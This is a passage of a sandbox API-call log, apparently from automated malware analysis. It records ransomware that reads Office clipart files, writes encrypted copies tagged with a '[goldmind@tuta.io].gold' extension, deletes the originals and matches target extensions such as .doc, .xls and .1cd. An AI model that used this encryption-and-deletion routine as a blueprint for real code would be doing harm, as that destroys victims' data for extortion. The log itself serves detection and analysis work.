nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.671] SetEndOfFile (hFile=0x198) returned 1 [0099.671] CloseHandle (hObject=0x198) returned 1 [0099.671] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.671] SetEndOfFile (hFile=0x380) returned 1 [0099.673] CloseHandle (hObject=0x380) returned 1 [0099.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0099.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.674] lstrlenW (lpString=".doc") returned 4 [0099.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.674] lstrlenW (lpString=".docx") returned 5 [0099.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.674] lstrlenW (lpString=".pdf") returned 4 [0099.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.674] lstrlenW (lpString=".xls") returned 4 [0099.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.674] lstrlenW (lpString=".xlsx") returned 5 [0099.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.674] lstrlenW (lpString=".ppt") returned 4 [0099.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.674] lstrlenW (lpString=".zip") returned 4 [0099.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.674] lstrlenW (lpString=".rar") returned 4 [0099.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.674] lstrlenW (lpString=".bz2") returned 4 [0099.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.674] lstrlenW (lpString=".7z") returned 3 [0099.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.674] lstrlenW (lpString=".dbf") returned 4 [0099.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.674] lstrlenW (lpString=".1cd") returned 4 [0099.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.674] lstrlenW (lpString=".jpg") returned 4 [0099.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.674] lstrlenW (lpString=".doc") returned 4 [0099.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.674] lstrlenW (lpString=".docx") returned 5 [0099.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.674] lstrlenW (lpString=".pdf") returned 4 [0099.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.674] lstrlenW (lpString=".xls") returned 4 [0099.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.674] lstrlenW (lpString=".xlsx") returned 5 [0099.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.674] lstrlenW (lpString=".ppt") returned 4 [0099.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.675] lstrlenW (lpString=".zip") returned 4 [0099.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.675] lstrlenW (lpString=".rar") returned 4 [0099.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.675] lstrlenW (lpString=".bz2") returned 4 [0099.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.675] lstrlenW (lpString=".7z") returned 3 [0099.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.675] lstrlenW (lpString=".dbf") returned 4 [0099.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.675] lstrlenW (lpString=".1cd") returned 4 [0099.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 63 [0099.675] lstrlenW (lpString=".jpg") returned 4 [0099.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.675] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.675] lstrlenW (lpString="HM00426_.WMF") returned 12 [0099.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.676] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=68776) returned 1 [0099.676] CloseHandle (hObject=0x380) returned 1 [0099.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x20 [0099.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.676] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.676] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.677] GetLastError () returned 0x0 [0099.677] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x10ca8, lpOverlapped=0x0) returned 1 [0099.767] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x10cb0, lpOverlapped=0x0) returned 1 [0099.768] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0099.768] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.768] SetEndOfFile (hFile=0x198) returned 1 [0099.871] CloseHandle (hObject=0x198) returned 1 [0099.876] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.890] SetEndOfFile (hFile=0x380) returned 1 [0099.925] CloseHandle (hObject=0x380) returned 1 [0099.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0099.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.926] lstrlenW (lpString=".doc") returned 4 [0099.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.926] lstrlenW (lpString=".docx") returned 5 [0099.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.926] lstrlenW (lpString=".pdf") returned 4 [0099.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.926] lstrlenW (lpString=".xls") returned 4 [0099.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.926] lstrlenW (lpString=".xlsx") returned 5 [0099.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.927] lstrlenW (lpString=".ppt") returned 4 [0099.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.927] lstrlenW (lpString=".zip") returned 4 [0099.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.927] lstrlenW (lpString=".rar") returned 4 [0099.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.927] lstrlenW (lpString=".bz2") returned 4 [0099.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.927] lstrlenW (lpString=".7z") returned 3 [0099.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.927] lstrlenW (lpString=".dbf") returned 4 [0099.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.927] lstrlenW (lpString=".1cd") returned 4 [0099.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.927] lstrlenW (lpString=".jpg") returned 4 [0099.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.927] lstrlenW (lpString=".doc") returned 4 [0099.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.927] lstrlenW (lpString=".docx") returned 5 [0099.928] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.928] lstrlenW (lpString=".pdf") returned 4 [0099.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.928] lstrlenW (lpString=".xls") returned 4 [0099.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.928] lstrlenW (lpString=".xlsx") returned 5 [0099.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.928] lstrlenW (lpString=".ppt") returned 4 [0099.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.928] lstrlenW (lpString=".zip") returned 4 [0099.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.928] lstrlenW (lpString=".rar") returned 4 [0099.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.928] lstrlenW (lpString=".bz2") returned 4 [0099.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.928] lstrlenW (lpString=".7z") returned 3 [0099.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.928] lstrlenW (lpString=".dbf") returned 4 [0099.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.928] lstrlenW (lpString=".1cd") returned 4 [0099.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 63 [0099.928] lstrlenW (lpString=".jpg") returned 4 [0099.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.928] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.928] lstrlenW (lpString="IN00118_.WMF") returned 12 [0099.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.929] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=792) returned 1 [0099.929] CloseHandle (hObject=0x380) returned 1 [0099.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 0x20 [0099.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.929] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.929] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.930] GetLastError () returned 0x0 [0099.930] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x318, lpOverlapped=0x0) returned 1 [0099.935] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x320, lpOverlapped=0x0) returned 1 [0099.936] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0099.936] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.936] SetEndOfFile (hFile=0x198) returned 1 [0099.936] CloseHandle (hObject=0x198) returned 1 [0099.936] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.936] SetEndOfFile (hFile=0x380) returned 1 [0099.938] CloseHandle (hObject=0x380) returned 1 [0099.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0099.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.938] lstrlenW (lpString=".doc") returned 4 [0099.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.938] lstrlenW (lpString=".docx") returned 5 [0099.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.938] lstrlenW (lpString=".pdf") returned 4 [0099.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.938] lstrlenW (lpString=".xls") returned 4 [0099.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.939] lstrlenW (lpString=".xlsx") returned 5 [0099.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.939] lstrlenW (lpString=".ppt") returned 4 [0099.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.939] lstrlenW (lpString=".zip") returned 4 [0099.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.939] lstrlenW (lpString=".rar") returned 4 [0099.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString=".bz2") returned 4 [0099.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString=".7z") returned 3 [0099.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.939] lstrlenW (lpString=".dbf") returned 4 [0099.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.939] lstrlenW (lpString=".1cd") returned 4 [0099.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.939] lstrlenW (lpString=".jpg") returned 4 [0099.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.939] lstrlenW (lpString=".doc") returned 4 [0099.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString=".docx") returned 5 [0099.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.939] lstrlenW (lpString=".pdf") returned 4 [0099.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString=".xls") returned 4 [0099.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.939] lstrlenW (lpString=".xlsx") returned 5 [0099.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.939] lstrlenW (lpString=".ppt") returned 4 [0099.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.939] lstrlenW (lpString=".zip") returned 4 [0099.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.939] lstrlenW (lpString=".rar") returned 4 [0099.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString=".bz2") returned 4 [0099.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString=".7z") returned 3 [0099.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.939] lstrlenW (lpString=".dbf") returned 4 [0099.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.939] lstrlenW (lpString=".1cd") returned 4 [0099.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0099.940] lstrlenW (lpString=".jpg") returned 4 [0099.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.940] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.940] lstrlenW (lpString="IN00177_.WMF") returned 12 [0099.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.940] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=1074) returned 1 [0099.940] CloseHandle (hObject=0x380) returned 1 [0099.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 0x20 [0099.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.941] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.941] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.941] GetLastError () returned 0x0 [0099.941] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x432, lpOverlapped=0x0) returned 1 [0099.952] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x440, lpOverlapped=0x0) returned 1 [0099.952] ReadFile (in: hFile=0x380, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0099.953] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.953] SetEndOfFile (hFile=0x198) returned 1 [0099.953] CloseHandle (hObject=0x198) returned 1 [0099.953] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.953] SetEndOfFile (hFile=0x380) returned 1 [0099.955] CloseHandle (hObject=0x380) returned 1 [0099.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program 